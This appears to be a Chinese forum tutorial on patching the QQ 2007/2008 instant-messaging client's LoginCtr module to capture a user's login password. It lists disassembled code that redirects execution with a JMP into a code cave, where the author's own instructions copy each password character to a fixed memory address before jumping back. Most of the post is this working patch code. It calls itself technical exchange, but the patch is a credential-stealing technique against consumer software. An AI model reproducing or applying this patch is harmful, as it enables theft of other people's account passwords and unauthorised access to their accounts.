本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.
标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!
参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.
列出2007办部分修改后的代码:
021A638A |> /43 /INC EBX
021A638B |. |6A 01 |PUSH 1
021A638D |. |8BC3 |MOV EAX, EBX
021A638F |. |0FAFC6 |IMUL EAX, ESI
021A6392 |8A4C08 FF MOV CL, BYTE PTR DS:[EAX+ECX-1]
021A6396 |E9 4F240100 JMP LoginCtr.021B87EA //修改点,跳至空白点
021A639B |90 NOP
021A639C |90 NOP
021A639D |90 NOP
021A639E |90 NOP
021A639F |90 NOP
021A63A0 |. |50 |PUSH EAX
021A63A1 |884D D4 MOV BYTE PTR SS:[EBP-2C], CL
021A63A4 |E8 4AD30000 CALL LoginCtr.021B36F3
021A63A9 |. |8B57 44 |MOV EDX, DWORD PTR DS:[EDI+44]
021A63AC |. |83C4 0C |ADD ESP, 0C
021A63AF |. |8B0A |MOV ECX, DWORD PTR DS:[EDX]
021A63B1 |. |8B72 0C |MOV ESI, DWORD PTR DS:[EDX+C]
021A63B4 |. |8B41 F8 |MOV EAX, DWORD PTR DS:[ECX-8]
021A63B7 |. |99 |CDQ
021A63B8 |. |F7FE |IDIV ESI
021A63BA |3BD8 CMP EBX, EAX
021A63BC ^\7C CC JL SHORT LoginCtr.021A638A
补上自己的代码:
021B87EA 52 PUSH EDX
021B87EB BA 56CC1200 MOV EDX, 12CC56
021B87F0 03D3 ADD EDX, EBX //借用QQ程序本身的EBX计数器
021B87F2 36:880A MOV BYTE PTR SS:[EDX], CL //向12CC56开始逐个写入密码
021B87F5 5A POP EDX
021B87F6 8D45 D4 LEA EAX, DWORD PTR SS:[EBP-2C]
021B87F9 50 PUSH EAX
021B87FA 8D85 58FFFFFF LEA EAX, DWORD PTR SS:[EBP-A8]
021B8800 ^ E9 9BDBFEFF JMP LoginCtr.021A63A0 //跳回原处继续执行
021B8805 90 NOP
用ASM代码实现如下:
GetQQpwd.Asm
GetQQpwd.inc
注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.